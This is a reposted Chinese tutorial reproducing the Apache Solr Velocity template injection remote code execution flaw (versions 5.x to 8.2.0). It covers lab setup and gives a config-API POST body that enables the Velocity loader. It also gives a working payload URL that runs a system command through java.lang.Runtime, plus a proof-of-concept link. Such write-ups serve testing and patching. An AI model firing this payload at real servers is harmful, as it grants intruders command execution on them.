首頁  >  文章  >  運維  >  Apache Solr velocity模板注入RCE漏洞的範例分析

Apache Solr velocity模板注入RCE漏洞的範例分析

WBOY
WBOY轉載
2023-05-19 10:37:13920瀏覽

0x01簡介

Solr是一款企業級的獨立搜尋應用程式伺服器,可透過Web服務API介面向外提供服務。使用者可以透過http請求,向搜尋引擎伺服器提交一定格式的XML文件,產生索引;也可以透過Http Get操作提出查找請求,並得到XML格式的回傳結果。 Apache Solr velocity模板注入RCE漏洞的示例分析

0x02漏洞介紹

Solr中存在VelocityResponseWriter元件,攻擊者可以建構特定請求修改相關配置,使VelocityResponseWriter元件允許載入指定模板,進而導致Velocity模版註入遠端命令執行漏洞,攻擊者利用該漏洞可以直接取得到伺服器權限。

0x03影響範圍

Apache Solr 5.x - 8.2.0,存在config API版本

#0x04環境建置

安裝java8環境,然後下載Solr,下載網址:

https://www.apache.org/dyn/closer.lua /lucene/solr/8.2.0/solr-8.2.0.zip

#下載完成後解壓縮然後進入bin目錄執行./solr start

unzip solr-8.2.0.zip

 Apache Solr velocity模板注入RCE漏洞的示例分析

啟動會出現一些警告訊息,我們可以透過修改bin下的solr.in.sh檔案來進行消除,將SOLR_ULIMIT_CHECKS設為false

vim solr.in.sh

 Apache Solr velocity模板注入RCE漏洞的示例分析

然後再進行啟動./solr start  root啟動失敗的話在後面加上加上-force即可Apache Solr velocity模板注入RCE漏洞的示例分析

#在瀏覽器訪問http://ip:8983,出現以下介面表示安裝成功Apache Solr velocity模板注入RCE漏洞的示例分析

但是發現不能建立coreApache Solr velocity模板注入RCE漏洞的示例分析

我們先手動在/server/solr /目錄下建立一個new_core的資料夾,然後將/server/solr/configsets/_default/下的conf目錄拷貝到new_core目錄下,之後再點建立Apache Solr velocity模板注入RCE漏洞的示例分析

0x05漏洞復現

建立好Core後存取檢視該應用程式config檔是否可以存取

http://ip:8983/solr/new_core/configApache Solr velocity模板注入RCE漏洞的示例分析

Apache Solr預設整合VelocityResponseWriter插件,該插件初始化參數中的params.resource.loader.enabled預設值設定為false,但是可以透過POST請求直接修改整合設置,將其設為true,然後就可以建構特殊的GET請求來實現遠端程式碼執行。

使用Burp抓取本頁的包,直接建構POST請求,加入以下資料

{

  "update-queryresponsewriter": {

    " startup": "lazy",

    "name": "velocity",

    "class": "solr.VelocityResponseWriter",

  . : "",

    "solr.resource.loader.enabled": "true",

    "params.resource.loader.enabled": "true"

# }

}

 Apache Solr velocity模板注入RCE漏洞的示例分析

#接下來我們就可以建構payload來實作RCE

payload:

http:// ip:8983/solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=#set($x='') #set($rt=$x.class.forName('java.lang .Runtime')) #set($chr=$x.class.forName('java.lang.Character')) #set($str=$x.class.forName('java.lang.String')) # set($ex=$rt.getRuntime().exec('id')) $ex.waitFor() #set($out=$ex.getInputStream()) #foreach($i in [1..$out .available()])$str.valueOf($chr.toChars($out.read()))#end

 Apache Solr velocity模板注入RCE漏洞的示例分析

 POC位址:https://github. com/wyzxxz/Apache_Solr_RCE_via_Velocity_template

#0x06修復方式

##更新至最新版本

以上是Apache Solr velocity模板注入RCE漏洞的範例分析的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述:
本文轉載於:yisu.com。如有侵權,請聯絡admin@php.cn刪除